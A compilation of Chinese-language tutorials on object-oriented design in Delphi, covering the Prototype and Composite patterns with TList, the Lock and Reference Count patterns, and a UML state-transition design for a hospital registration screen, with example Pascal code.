随着﹐软件零组件(sofrware IC) 观念的流行﹐prototype-based programming 观念也愈来愈重要了。既使像C++ 或Pascal这种语言﹐也能支持prototype-based programming ﹐例如Visual Age/C++ 让使用者在画面上点下prototype 对象﹐就能产生新对象﹐并将之组装成更大的对象（或称part）。

对象装配的问题

软件工业逐渐往零组件(component) 方向发展﹐未来计算机软件人员将分为两大群﹕对象设计者(object designer) 与对象装配者(object assembler)。就拿C++ 或Pascal程序员来说﹐对象设计者负责设计类别﹐以便诞生出各式各样之对象﹔对象装配者能使用现有对象或将之组装成更大之对象或系统。

依据上述加菲猫和西施的例子中﹐人们常很自然地拿自己熟悉的例子来描述他所想要的对象﹔亦即经由举例来说明他心中的对象﹐是较合乎人们生活习惯的。反而较少以类别来描述他心中之对象。因之﹐对象设计者定义好各类别之后也应各诞生一个对象﹐当做例子(prototype) ﹐最好显示在Windows 画面上。对象装配者不需要具有「类别」观念﹐只需用鼠标点取画面上的prototype 对象﹐就能获得一个类似的新对象了。如此﹐就可构成美好的分工情形。

然而﹐在C++ 及Pascal语言中﹐对象皆是由「类别」来产生的。这会造成冲突问题﹕

※设计者不能随时诞生对象供装配者使用﹐因而希望装配者随时藉由类别诞生对象。

※＊装配者最好不必具有类别观念﹐因而不愿意藉由类别来诞生对象。

如何化解这个问题呢﹖答案是﹕使用prototype 样式。

Prototype样式

上面图1是“Design Pattens”书中所列出的prototype样式。下图2则是个实际的例子。」

对象设计者从Shape衍生出Circle及Rect两类别，并各诞生1个prototype对象，且存入ShapeList串行之中。设计者必须为各类别定义Clone( )函式来诞生新对象。于是对象装配者只需呼叫Clone( )函数就能获得新对象，而不必具有类别观念。未来，设计者可从Shape类别衍生出许许多多子类别，并把对象放入ShapeList中，供装配者使用。

实例说明---- 使用Delphi

对象设计者之工作包括：

1.设计(定义)一个Form类别叫TForm1。

2.设计一个应用架构(application framework)做为「设计者」与「装配者」分工的基础。

3.基于架构，衍生出子类别，如Circle及Rect。

4.诞生对象，存入串行中，如图3所示。

对象装配者之工作是：

点取(或使讯息)给串行中的prototype对象，由其呼叫Clone( )来诞生新对象。

现在，请看Delphi程序：

unit Unity1;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

未求简单起见，本程序并不让「装配者」自屏幕画面上选取对象。装配者可写简单程序如Button1Click( )来处理串行中的prototype对象。「设计者」可藉FormCreate( )来做些基本设定工作。待会儿会对Button1Click 和FormCreate( )做进一步说明。接下来，建立应用架构:：

以Delphi表示为：

type

ShapeList = class(TList)

public

procedure Draw;

end;

type

Shape = class(TObject)

private

lx, ly : Integer;

public

constructor Create;

procedure SetXY( x,y:Integer );

procedure Draw; virtual;

function Clone:Shape; virtual;

end;

var

Form1: TForm1;

list : ShapeList;

pShape : Shape;

Draw( )和Clone( )皆是虚拟(virtual)程序，以发挥多型(polymorphism)功能。lx及ly是图形的左上角坐标。SetXY( )可改善lx及ly值。Foml、list和pShare为公用变量。

ShapeList类别的Draw程序用来绘出串行中的各prototype对象图。

应用架构已造好了，就可衍生各种子类别如下：

type

Circle = class(Shape)

public

procedure Draw; override;

function Clone:Shape; override;

end;

type

Rect = class(Shape)

public

procedure Draw; override;

function Clone:Shape; override;

end;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

list := ShapeList.Create;

pShape := Circle.Create;

pShape.SetXY(10,10); list.Add(pShape);

pShape := Rect.Create;

pShape.SetXY(50, 50); list.Add(pShape);

end;

对象设计者定义两个类别，并且各诞生一个对象，存入串行( list )中。这时，list串行中就有两个prototype对象了。接着，设计各程序或函数之内容：

procedure ShapeList.Draw;

var i : Integer;

begin

for i := 0 to Self.Count-1 do

begin

pShape := Self.Get(i);

pShape.Draw;

end;

end;

constructor Shape.Create;

begin lx := 80; ly := 80; end;

procedure Shape.SetXY(x,y:Integer);

begin lx := x; ly := y; end;

procedure Shape.Draw;

begin end;

function Shape.Clone:Shape;

begin end;

procedure Circle.Draw;

begin with Form1.Canvas do

begin

Pen.Color := 6; Pen.Width := 1;

Ellipse(lx, ly, 130, 130);

end;

end;

function Circle.Clone:Shape;

begin Clone := Circle.Create; end;

procedure Rect.Draw;

begin with Form1.Canvas do

begin

Pen.Color := 6; Pen.Width := 1;

Rectangle(lx, ly, 110, 150);

end;

end;

function Rect.Clone:Shape;

begin Clone := Rect.Create; end;

Circle和Rect各定义Draw( )及Clone( )达到多型效果，让「装配者」使用起来更加方便。Clone( )必传回一个新对象。

以上皆是对象设计者的工作。现在就轮到对象装配者了，如下述的Button1Click( )程序：

procedure TForm1.Button1Click(Sender: TObject);

var ps : Shape;

begin with Canvas do

begin

pShape := list.Get(0); ps := pShape.Clone;

list.Add(ps); list.Draw;

end;

end;

end.

首先，令pShape代表串行中的第0个prototype对象，此对象诞生另一个对象，由ps代表之。在将此新对象存入串行中，如下：

最末将各prototype对象数示于画面上，如下图：

结语

上述例子中，把ShapeList也归为对象设计者的掌管工作之一。在实际上，ShapeList常隶属于「装配工具」(assembly tools)内的一部份。而装配工具的设计者，可能既非对象设计者，也非对象装配者，而是用来协助「装配者」使其工作效率更佳。

由于Clone函数及Draw( )程序的多型性，在加上Clone( )能产生新对象，使得装配工具设计者，不必顾虑到对象类别之剧增，也不必用到期类别名称，大大减少工具程序之复杂度，这也是prototype模式的另一个重要用途。■


使用TList表达Whole-part关系

使用TList 表达

关系

吴艺文

前言

在上一期里﹐高焕堂先生的文章 ──「Prototype 样式」使用了TList 容器物件(container) 去包含多个图形小物件。但是他并没仔细说明TList 类别的功能和用法﹐我猜想有些读者会想去了解如何活用TList 物件。因之﹐本文首先说明TList 物件之功能﹐并进而运用它来表达OO软体中极常见的关系──Whole-part关系。本文将仔细介绍TList 类别﹐并说明如何表示物件间之关系(relationship)。

物件间的Whole-part关系

回想传统的软体师﹐常甚专注于撰写程序(procedure) 来处理某些资料(data)﹐较少关心软体的整体结构(architecture)。在现在的OO软体中﹐把资料及其相关的程序结合在一起﹐封装(encapsulate) 在物件之中。软体师在使用物件时﹐通常把物件视为黑箱(black-box) ﹐不会关心于物件内部之细节﹔因之能专注于物件之间的关系。软体师的主要工作﹐就是在于建立物件之间的互助合作(collaboration) 关系﹐为物件安排应尽之角色(role)﹐至于物件内部之细节﹐反而不顶重要。如此﹐可让软体师着重于软体的整体架构上﹐而不会一头栽进程式的执行细节之中。这避免了见树不见林的缺点﹐放宽了软体师的眼界﹐为软体的多用途(reusability) 及弹性(flexibility) 着想﹐可创造长寿的软体﹗

物件之间的常见关系有许多种﹐其中之一就是Whole-part关系。像一朵花是由花蕊、花瓣、

图1 Form1 物件包含3 个控制物件

衬叶等所构成的﹐这朵花是个「整体」(Whole)﹐而花蕊、花瓣等则是这整体的「一部分」(part)。

再如﹐图1 的Delphi 画面上﹐Form1 物件包含着3 个控制物件(control) ﹐这些控制物件成为Form1 的一部分。因之﹐Form1 是个整体﹐而各控制物件则是Form1 物件的一部分。

我们可使用图形表示为﹕

图2 Whole-part关系与继承关系

这图包括了Whole-part关系﹐以及继承关系。

●菱形符号表示Whole-part关系﹔就是Form1 物件可包含有数个control 物件。

●箭头符号表示继承关系﹔就是control 物件可细分为数个种类。

由于篇幅的限制﹐本文专注于Whole-part关系﹐而不讨论继承关系。Whole-part关系可分为两种﹕

◎「部分」物件之个数是确定的。例如﹐1 辆汽车含有1 个方向盘﹐1 个Form物件含有1 个抬头(caption) 物件﹐1 只青蛙有4 条腿等等。在这种情形下﹐并不需要使用TList 容器物件来表示之﹐而只需使用一般变数即行了。所以本文不拟讨论这种情形。

◎「部分」物件之个数是可变的。例如﹐1 个Form物件内含多个控制物件﹐1 棵树含有成千上万叶子﹐1 位学生的成绩单上列有各科目的成绩等等。这种Whole-part关系通常得藉容器物件来表达之﹐如Delphi 的TList 物件就可派上用场了。本文将详细说明如何表达这种关系。

认识TList 类别

在部分物件之个数不固定时﹐整体物件常内含「容器」(container) 物件﹐再由容器物件来包含部分物件。例如﹐上述的Form1 物件与控制物件之间的关系﹐在程式中可表示为﹕

图 3 容器物件

由于Delphi的物件皆诞生在堆积(heap)中﹐皆属动态物件(dynamic object)。所以只能藉上图的指标（pointer 或reference ）来表达「包含」的概念﹐进而表达出Whole-part关系。

虽然Delphi所提供的通用性容器类别并不多﹐但TList 已足够表达出常见的Whole-part关系了。首先介绍TList 类别的常用属性如下﹕

●公用变数Count ──记录目前容器内含多少个物件。

●Add(小物件)──将小物件存入容器物件之中。

●Delete(n) ──将容器内的第n 个物件删除。

●Items[n]──取出容器中的第n 个物件。

●Clear() ──删除掉所有的小物件﹐Count 值归零。

由下述的Delphi程式来说明这些功能。这程式定义Person类别来诞生物件﹐然后将这些物件存入TList 之容器物件之中。程式内容是﹕

unit Aa01; interface uses

SysUtils, WinTypes, WinProcs, Messages,

Classes, Graphics, Controls, Forms, Dialogs;

{ === Person class === }

type Person = class(TObject)

public

constructor Create(na:string);

function Name : string;

private

pname : string;

end;

type TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

constructor Person.Create(na:string);

begin pname := na; end;

function Person.Name : string;

begin Result := pname; end;

procedure TForm1.FormCreate(Sender: TObject);

var

p : Person; i : Integer;

str : string; list : TList;

begin

list := TList.Create;

list.Add( Person.Create('John') );

list.Add( Person.Create('Tom') );

p := list.Items[0];

list.Delete(0);

p.Destroy;

list.Add( Person.Create('Alvin') );

for i:=0 to list.Count-1 do

begin

p := list.Items[i];

MessageDlg( p.Name, mtInformation,

[mbOK],0);

end;

for i:=0 to list.Count-1 do

begin

p := list.Items[i];

p.Destroy;

end;

list.Destroy;

end;

end.

执行FormCreate()程序时﹐由TList 类别诞生容器物件﹐并由list代表之﹐如图4。

图 4 list代表容器物件

接着﹐由Person类别诞生物件﹐并将其指标存入容器物件之中﹐如图5。

图5 存取容器物件

list.Items[0] 取出容器中的#0物件﹐将其参考(reference) 给p ﹐如上图所示。list.Delete(0)删除掉容器中的#0物件﹐即切断其指标（即reference ）﹐如图6。

图 6 除掉容器中的物件

当容器的#0物件被删除后﹐原来的#1物件变成为#0物件了。同理﹐原来的#2物件则变为#1物件﹐依此类推下去。Delete()只是除去容器中的指标而已﹐并非真正毁去该物件。至p.Destroy 才真正除去该物件。

接下去的Add() 再加入1 个物件﹐如图 7 。接下去﹐for 回圈依序读完容器的各小物件﹐并逐一输出其内部资料。另一个for 回圈则实际毁掉容器内含的物件。最后﹐list.Destroy毁去这容器物件。

图 7再加入1 个物件

简单的Whole-part关系

最单纯的Whole-part关系就是某物件「内含」(contain) 其它物件。例如﹐

1 张订单上面列示着多个采购的产品项目

1 支棒球队拥有数位教练及多位球员

学生的成绩单上印有多项成绩

1 篇文章是由许多句子所组成

萤幕上的选择表(menu)内含数个选择项

1 份考卷包含数十道考题

…

就拿订单(order form)的例子来说﹐订单上常列有多个采购项目(order line)。

图8 订单

每个采购项目通常包括有产品名称、采购数量、金额等。为了简单起见﹐假设采购项目只含产品名称及金额两个项目﹐则可藉TList 容器物件来表示「订单」与「采购项目」之间的Whole-part关系﹐如下图所示﹕

OO软体师通常皆会很习惯于掌握这种Whole-part关系﹐且常藉容器物件来表示之。请看实际的Delphi程式﹐先定义Order 及OrderLine 两个类别﹕

unit Aa02; interface uses

SysUtils, WinTypes, WinProcs, Messages, Classes,

Graphics, Controls, Forms, Dialogs;

{ === Order class === }

type OrderLine = class(TObject)

public

constructor Create(pna:string; a:Real );

function Name : string;

function Amount : Real;

private

pname : string;

amt : Real;

end;

{ === Order === }

type Order = class(TObject)

public

constructor Create;

destructor Destroy; override;

procedure AddLine(var p:OrderLine);

function Amount : Real;

private

list : TList;

end;

在Order 类别中定义了list变数﹐其型态TList ﹐表示list将可代表1 个TList 之物件﹐其本质上就是list变数，内含一个指标﹐可指向TList 之物件。在Order 类别的建构程序Create负责诞生TList 物件﹐而由Order 的除构程序Destroy负责删除掉这TList 物件。各程序之定义如下﹕

type TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

constructor OrderLine.Create(pna:string; a:Real );

begin

pname := pna; amt := a;

end;

function OrderLine.Name : String;

begin Result := pname; end;

function OrderLine.Amount: Real;

begin Result := amt; end;

constructor Order.Create;

begin list := TList.Create; end;

destructor Order.Destroy;

begin list.Destroy; end;

function Order.Amount: Real;

var i:Integer;
sum:Real;
p : OrderLine;

begin

sum := 0;

for i:=0 to list.Count-1 do

begin

p := list.Items[i];

sum := sum + p.Amount;

end;

Result := sum;

end;

procedure Order.AddLine(var p:OrderLine);

begin list.Add(p); end;

procedure TForm1.FormCreate(Sender: TObject);

var

ord : Order; pl : OrderLine;

str : string;

begin

ord := Order.Create;

pl := OrderLine.Create('Pencil',88.25);

ord.AddLine(pl);

pl := OrderLine.Create('Ballpen',110.5);

ord.AddLine(pl);

str := FloatToStr( ord.Amount );

MessageDlg(str, mtInformation, [mbOK],0);

end;

end.

Order 类别的Amount()程序计算出该订单的总金额。AddLine() 则在订单上新增一个采购项目。在FormCreate()中﹐ord 物件内含一个list物件﹐而list物件容纳2 个OrderLine 物件。如此就表达了订单与采购项目之间的Whole-part关系了。

递回式Whole-part关系

Whole-part关系内含别的Whole-part关系﹐且允许有多层次的Whole-part关系﹐通称为递回式的Whole-part关系。在自然界中常见这种关系﹐例如﹐树叶是树的一部分﹐但树叶又是个整体﹐其内含着叶脉、叶绿素等「部分」物件。

在企业界﹐最典型的例子是「物件结构表」（bill of material简称BOM）﹐如下﹕

在Delphi画面上﹐也常见这种Whole-part关系﹐如﹕

虽然这些结构似乎很复杂﹐但从这些图形中﹐可看出这些物件可依其角色而分为两类﹕

1. Leaf物件。如上图中的椭圆形所示之物件﹐它们不具有Whole 之角色﹐只具有part之角色。这通称为「基本组件」(primitive component) 。

2. Composite 物件。如上图中的长方形所示之物件﹐它们具有Whole 之角色﹐也可能具有part之角色。这通称为「复合组件」(composite component) 。

因之﹐以Delphi来表示时﹐只需定义两个类别──Leaf及Composite 类别即行。由于这两类别皆为组件﹐所以可定义个父类别(super class) 图9。

图 9 递回Whole-part关系

递回Whole-part关系是很常见的﹐且上图所示的表示方法又是OO软体专家最常用的表示法。

因之﹐在Gamma 的"Design Patterns" 一书〔注1 〕中﹐也将之收录为重要的「样式」(Pattern) 之1。 该书所画的样式结构图如图10。

图10 Composite样式

样式是专家们最惯用的设计方式﹐这样式建议我们应定义Add() 、Remove()和GetChild()三个基本的虚拟(virtual) 程序﹐以及其它的程序。专家们把这表示法视为样式﹐就意谓着﹕这是专家们所认为最理想的表达方式。现在﹐实际以Delphi程式来表示上述的BOM 结构。首先定义三个类别﹕

unit Aa03; interface uses

SysUtils, WinTypes, WinProcs, Messages,

Classes, Graphics, Controls, Forms, Dialogs;

{ === Part class === }

type Part = class(TObject)

public

procedure Add(var p:Part); virtual;

function GetChild(n:Integer):Part; virtual;

function Cost:Real; virtual;

protected

pna : string;

end;

type PiecePart = class(Part)

public

constructor Create(na:string; c:Real);

function Cost:Real; override;

procedure Add(var p:Part);override;

private

pcost : Real;

end;

type Assembly = class(Part)

public

constructor Create(na:string);

function Cost:Real; override;

procedure Add(var p:Part); override;

function GetChild(n:Integer):Part; override;

private

list : TList;

end;

这表示了下述结构﹕

PiecePart 代表最下层的基本物件组件。而Assembly则代表中层的半成品物件组件﹐或代表成品。Add() 、GetChild()和Cost()皆定义为虚拟(virtual)程序。在Assembly中利用TList 物件来表达Whole-part关系。接下来﹐设计各程序﹕

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

constructor PiecePart.Create(na:string; c:Real);

begin pna := na; pcost := c; end;

function Part.Cost: Real;

begin end;

function PiecePart.Cost: Real;

begin Result := pcost; end;

constructor Assembly.Create(na:string);

begin list := TList.Create; pna:=na; end;

function Assembly.Cost: Real;

var i:Integer;
sum:Real;
p:Part;

begin

sum := 0;

for i:=0 to list.Count-1 do

begin

p := list.Items[i];

sum := sum + p.cost;

end;

Result := sum;

end;

procedure Part.Add(var p:Part);

begin end;

procedure Assembly.Add(var p:Part);

begin list.Add(p); end;

procedure PiecePart.Add(var p:Part);

begin

MessageDlg('Parts do not have Subparts',

mtInformation, [mbOK],0);

end;

function Part.GetChild(n:Integer):Part;

begin Result := nil; end;

function Assembly.GetChild(n:Integer):Part;

begin Result := list.Items[n]; end;

procedure TForm1.FormCreate(Sender: TObject);

var

aly1, aly2, p1, p2 : Part; str:string;

begin

aly1 := Assembly.Create(‘bulb’);

p1 := PiecePart.Create(‘body’, 88.25);

aly1.Add(p1);

p1 := PiecePart.Create(,head,, 100.5);

aly1.Add(p1);

aly2 := Assembly.Create(‘ light’);

aly2.Add(aly1);

p1 := PiecePart.Create(‘cover’, 10.0);

aly2.Add(p1);

str := FloatToStr( aly2.Cost );

MessageDlg(str, mtInformation, [mbOK],0);

p1 := aly2.GetChild(0);

str := FloatToStr( p1.Cost );

MessageDlg(str, mtInformation, [mbOK],0);

p2 := p1.GetChild(1);

str := FloatToStr( p2.Cost );

MessageDlg(str, mtInformation, [mbOK],0);

end;

end.

这FormCreate()程序建立了有关「汽车车灯」的物件结构表﹕

p1:=aly2.GetChild(0)取出「灯泡」小物件﹐并由p1指向这个小物件。p2:=p1.GetChild() 取出「灯帽」小物件﹐并由p2指向之。依上述之样式﹐可表达出无限层次的递回式Whole-part关系。

结语

为了让软体能永续生存下去﹐必须特别重视软体的组织与其整体架构(architecture)。于是﹐必须专注于物件之间的互助合作关系。一旦建立了理想的关系﹐就可以让物件之间互相传递讯息、互相沟通了。例如﹐Form1 物件传送Cost讯息给aly2物件﹐aly2物件就依循TList 物件所建立的关系（透过指标）来将Cost讯息递给内含之各小物件。当各小物件回报其成本金额﹐aly2将之累计再传送回到Form1 物件﹐然后显示在视窗画面上。阅读本文之后﹐相信您会进一步了解Whole-part关系﹐也会更加活用容器类别来表达之。同时也希望您更会运用样式来创造出更美好的软体。■

[注1] Erich Gamma,Design Patterns: Elements of Reusable Object-Oriented Software, Addition-Wesley, 1995.


设计模式、用Delphi描述-->Reference Count pattern

起源

Reference Count模式是一种相对简单，但实用性很强，比如COM中的引用记数就是COM生命周期控制的基础，同样也是Observer模式（详细请见Observer模式）的生命周期的基础。

目的

利用Reference Count的模式来控制对象的生命周期。对于引用记数中对象将是可利用的对象，否则对象将析构自身。

动机

Reference Count模式的基础与Lock的基础很相类似。唯一不同的是Lock预先定义、固定的。它的具体的类的应用时也与Lock模式类似。Reference Count模式默认一种行为方法：SetReferenced，同样当具体使用些模式时，你可以创建自己习惯的方法。

Reference Count模式在singleton模式中会有比较好的应用。

应用

IUnknown = interface

['{00000000-0000-0000-C000-000000000046}']

…

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

end;


Lock pattern

起源

lock pattern是Delphi中 TStrings数据更新控制的基础。在本段后面将例举部分Tstrings、TstringList的代码

目的

为类提供一个临时的访问锁控制机制

动机

我们经常发现一个对象经常调度一个返回更改结果的通知。被调度的对象必须控制其内部状态，以同步对象数据。如果同时对一个对象进行多个更改操作，将会产生多个通知并产生一个并发的操作。此时在你的类中加入一个lock pattern的模式，从面提供一个临时锁控制机。从而避免不必要的通知。

我们通过Tbag类来学习：

类TBag 提供了collection的行为。每次更改，Tbag将调度OnChange事件。如果我们一次对Tbag加入多个对象，你将得到多个更改通知。一个图形组件可能会进行多次刷新操作。引入 lock pattern后，在加入对象前打开 Tbag的锁，操作完后关闭锁。如此，我将得到单一的更改通知。更好的办法是加入一个标志，比如：FUpdating

应用

以下是Tbag类部分代码: (仅显示部分相关代码)

type

  TBag = class (TObject)

  private

    FLockCnt: Integer;

  protected

    function Locked: Boolean;

    procedure SetLocking(Updating: Boolean);

  public

    procedure Lock;

    procedure UnLock;

  end;

implementation

procedure TBag.Lock;

begin

  Inc(FLockCnt);

  if FLockCnt = 1 then SetLocking(False);

end;

function TBag.Locked: Boolean;

begin

  Result := (FLockCnt <> 0);

end;

procedure TBag.SetLocking(Updating: Boolean);

begin

end;

procedure TBag.UnLock;

begin

  Dec(FLockCnt);

  if FLockCnt = 0 then SetLocking(True);

end;

Tbag 说明:

· FlockCnt保存锁机制的内部状态。FLockCnt = 0表示其处于非锁状态，其它值都表示其处于锁定状态。类Tbag通过Lock与Unlock来设置它的值。

· Lock与Unlock提供了锁的接口，每一次调用都将引起锁的关态变化，并调用SetLocking方法。

· SetLocking方法中有一个Updating的参数，Lock调用的参数为False，而Unlock调用的参数为True。对了，你可以在方法中插入一引起其它的代码，分配给它更多的操作表示它的锁状态的更改。.

· Locked 返回类的锁状态。

注意：Lock、 Unlock必须同时使用，从而避免类保持在锁状态。明智的方法是使用try..finally块来保持Lock、 Unlock的同时调用。

一个典型的应用例子:

procedure TBag.Add(Item: Pointer);

begin

  { Add Item to internal structure }

  Change;

end

procedure TBag.AddItems(Items: TList);

begin

  Lock;

  { Add multiple items }

  try

    for I := 0 to Items.Count - 1 do

      Add(Items[I]);

  finally

    { use try..finally to make sure Unlock is called }

    Unlock;

  end;

end;

procedure TBag.Change;

begin

  if not Locked then

    if Assigned(FOnChange) then FOnChange(Self);

end;

procedure TBag.SetLocking(Updating: Boolean);

begin

  if Updating then { Bag has become unlocked }

    Change;

end;

Delphi实例：TString、TstringList

TStrings = class(TPersistent)

private

FUpdateCount: Integer;

Protected

procedure Exchange(Index1, Index2: Integer); virtual;

procedure SetUpdateState(Updating: Boolean); virtual;

public

procedure BeginUpdate;

procedure EndUpdate;

procedure Changed; virtual;

procedure Changing; virtual;


活用 Delphi + UML

活用 Delphi + UML ※ 王孝彦

状态转移图(STD)

在视窗设计上之实例探讨

在Windows环境中，Form及其事件的处理，并非由程式师主导。当专注于处理某个事件时，常不经意触发了其它Control的事件！一般程式师常使用大量if指令，来见招拆招；形成建树不见林，掉入枝节末叶中而迷失于大森林中！本文活用UML的STD和样式概念来改善上述困境，裨设计美好画面。

见树又见林

一个应用程式通常都含有各式各样的操作画面；这些画面在Windows应用程式中则常以Form的形式呈现出来。例如Delphi、 Visual Basic等皆是家喻户晓的软体。

首先来看看Delphi如何处理Application与Form间之关系，由于Form甚为抢眼，以至于常让Delphi的初学者以为只有Form的存在，而忘了幕后的Application。

图1. Form 与Application的关系

每个TApplication拥有1个MainForm，就是程式执行时最先出现的Form。MainForm可拥有多个其它的Form。每个Form内也可包含有许多的Control，可能是Edit Box，或List Box，或Button等。

这些复杂的关系，常让程式师们很容易掉入枝节末叶中而不自知。因为，Form内有许多Control，每个Control又能处理事件如OnEnter、 OnKeyPress、OnMousePress等。偏偏在事件驱动环境中，Form及其事件的处理，并非由程式师来主导。当我们专注于Button的事件处理时，常在不经意间触发了其它Control的有关事件！

面对上述的纠缠状况，程式师常在程式中使用大量if指令，来见招拆招！这很容易形成建树不见林，掉入枝节末叶中而迷失于大森林中！

本文将藉由STD(State Transition Diagram) 概念来改善上述困境，裨设计出美好的画面。

STD在描述物件生命周期中的状态转移变化。在Delphi 的Unit内Type宣告区中我们经常可以看到TForm1 = Class(TForm)，表示TForm1是TForm的子类别，TForm1类别的各Form物件，若用STD来描述其行为，就最恰当不过了。此外，对于UI占有高比重和份量的系统文件，STD也能清楚地描述它们，使得美好的设计经验、创作结晶，能善加保留传承与沟通。

大家都知道，好的OO软体设计中，每一个物件皆对外提供良好的操作介面，对内则维护自己的资料、对自己的行为负责，以便减少物件之间的依存度，增加软体的稳定性与维护性。同理，对Form上的每一个Control而言，我们也希望能降低它们之间的依存度，各个Control能维护其各自的状态，并能互相协调表达Form的整体状态。状态之设计是我们设计的骨干，在一个应用系统的生命期当中，一直经历着：

使用à需求变更à维护修改

的循环，透过STD在维护修改时可以不致于使我们见树不见林。

实例：医院挂号系统

本文以医疗系统上的，挂号操作介面为例子来说明STD在应用程式中的应用。这操作画面如图2所示。

图2. 挂号作业介面设计

于此，将上述操作介面设计成几个状态（State），并仔细的考虑各个State之间的变化与移转，如图3所示。

图3. 挂号作业状态图

兹对这图中的状态说明如下：

状态：rsKeyEntry

本状态表示等待使用者输入挂号病患的索引值。此索引值可以是身分证号、生日、姓名或电话。也提供不完整索引值的检索(Partial Key)。输入索引值到EditBox内并按Enter键后，就触发OnSearch 事件而转移到rsPatSelect状态。

状态：rsPatSelect

本状态表示依索引值检索到病历集(DataSet)，并显示于Form内供使用者挑选，如下图4。此时使用者有3个操作选择，系统依使用者的选择产生不同的事件促使状态移转。譬如，病历集内没有我们要的病患、或者输入错误时，就会选择放弃，回到rsKeyEntry状态。病患第一次来本院就诊，可选择新增来制作新的病历，系统发出OnNewPatient的事件而进入rsPatAppend状态。如果在病历集内选择了某个病患后，就进入rsRegSelect状态。

图4. 供使用者挑选的病历集

状态：rsRegSelect

如果有多位医师同时开不同科别的诊疗时 ，就可能发生同一病患在同一日内，同时看不同的诊，这合乎健保局的规定。因此本状态将同一病患在同一天内的所有挂号资讯列出供使用者选择，如下图5所示的挂号资讯选单。一方面提醒挂号人员该病患是否重复挂号，一方面让挂号人员据以向病患建议更好的看诊方式，以提供更好的医疗服务。

图5. 已挂号资讯选单

状态：rsPatAppend

提供初诊病历制作功能 ，此时使用者在键入病患基本资料之后 ，如果选择「放弃」则回到rsKeyEntry状态，若选择「完成」则进入rsRegAppend状态。

状态：rsRegEntry

反应出资讯输入的操作状态 ，挂号资讯包括：挂号医师、科别、午别以及看诊身份，此状态又可区分为两个次状态(SubState)，分别为rsRegAppend输入新挂号资料，以及rsRegUpdate挂号变更。

状态：rsRegAppend

新增挂号时的「挂号资讯」状态有3个事件会转移到本状态；首先是OnSelect[iReg = 0]表示在选定病患后而且该病患在今天内并无「已挂号资讯」(iReg = 0)时，就会进入本状态，这就是条件式的状态转移。接着是在rsRegSelect内决定要加挂一诊时会触发OnAppend 事件而进入本状态。最后一个事件是当初诊病患输入完基本资料后进入本状态。

状态：rsRegUpdate

本状态的设计乃是提供相同的操作介面，同时重用(Reuse)了KeyEntry、Patient Select以及Register Select的部份程式码；所以当使用者挑选一笔挂号资讯（必然会有一笔以上，才是挂号异动），同时选择「修改」而进入本状态。接下来的操作方式与rsRegAppend相同，选定异动的挂号资讯后，按「完成」即可。

其它注意事项：

1. 其中的OnDataChange事件，是现场挂号与预约挂号整合在一起的理想设计，也是重用(Reuse)其它部份程式码的一种方式。这事件只会发生在两个状态下：分别rsKeyEntry和rsRegAppend状态。由于「日期」的设计是使用EditBox，在其实作(Implementation)时可以在它的OnDataChange 事件处理程序(EventHandler)内判断目前是处于何种状态？是否要反应相对的动作？当然也可以在状态移转的程序转移行动(Procedure transition Action) 内，将进入rsKeyEntry或rsRegAppend时，再呼叫EditBox的OnDataChange 事件处理程序。

2. 上述rsPatSelect及rsRegSelect状态乃使用独立的Form且属于ShowModal，因之使用者不会去动到其他操作介面，这是ShowModal的特性，符合我们的设计。但在rsPatAppend状态时，就必须特别注意去落实(Implement)它。于是使用患者基本资料编辑区背后的Panel，利用其OnExit 事件来保持于rsPatAppend状态，只要是不该发生移转 ，就不让焦点(focus)离开。

3. 由rsRegEntry状态转移到rsKeyEntry状态时，在设计上并没有强迫使用者一定要按「放弃」键或「完成」键才能移转，而是只要在KeyEntry区内输入的索引值有所变动时(即OnKeyChange事件)，便会自动由rsRegEntry状态移转到rsKeyEntry状态。

设计心得:

因为透过STD的设计 ，我才能将现场挂号、预约挂号以及异动功能同时整合在一项作业内 ，否则不太可能达到这样的要求或者说撰写程式时会较辛苦些。

以Delphi实作挂号系统

因为篇幅的限制，于此只设计一个不需要滑鼠操作基本资料维护介面（如下图6）。

图6. 举例用的资料维护介面

其实在Delphi内可以直接使用TDBNavigator来达成功能，不过当业务上经常需要做大批资料输入时，使用者操作介面设计若仍然是一下使用滑鼠，一下使用键盘操作就会有些不顺畅或令人感到不耐烦了。

图7. 资料维护介面类别关系图

首先我们的维护作业在状态设计上采用与Delphi Dataset的设计相似，以使问题简单化。所以我们主要的工作就只是控制那一组Command Button的Enable与否。

这个客户档维护程式的主要架构(class hierarchy)如图7。此画面的状态图如图8。

TfmSingleBase内含两个Panel: pAction内含Action Buttons, 以及pEdit内含ScrollBox(sbEdit),而在sbEdit以内的编辑控制元件，则必须由子代TfmCust来设计。

因为Command Button控制可适用在许多资料维护作业上，因此利用delphi的Form继承机制来从诞生TfmSingleBase类别，大部份的程式码都在这个Class内，同时为了保持程式应用上的弹性，将Form和Data分开来，其中的Data是利用TDataModule继承得到客户资料TdmCust类别，因为这个客户资料在往后程式发展中，扮演着吃重的角色。在此，因为TfmCust使用到TdmCust，所以TfmCust在FormCreate时将TdmCust 建立起来，同时在Form Destroy时会将它删除(free)掉，但在后面的原始程式中(Unit Cust)，却好象并没有用来删除的程式码？是的，还记得Delphi中的Parent与Owner的区别吗？在程式码中，我们可看到FormCreate程序内有一行指令：

dmCust := Tdmcust(Self)

其中的Self就是TfmCust把自己当作是TdmCust的Owner传给它，而当Owner要Free时，它会将它所有的Child都依序删除掉，所以就不必写程式去删它了。

不知各位读者是否注意到在Class 继承体系中，TfmCust使用到TdmCust，因为TdmCust可以被许多其它的Class使用到，类似于DLL所扮演的角色或者说像是Gamma在其所着：“Design Patterns”一书所说的Singleton样式(pattern)。因而应该使用Reference Count的技巧来诞生与删除，而非如上述的简单例子，其由Tfmcust来诞生与删除它；换言之，这两个物件的寿命并不相同，但本文为求简单，而假设它们是同生同灭的。

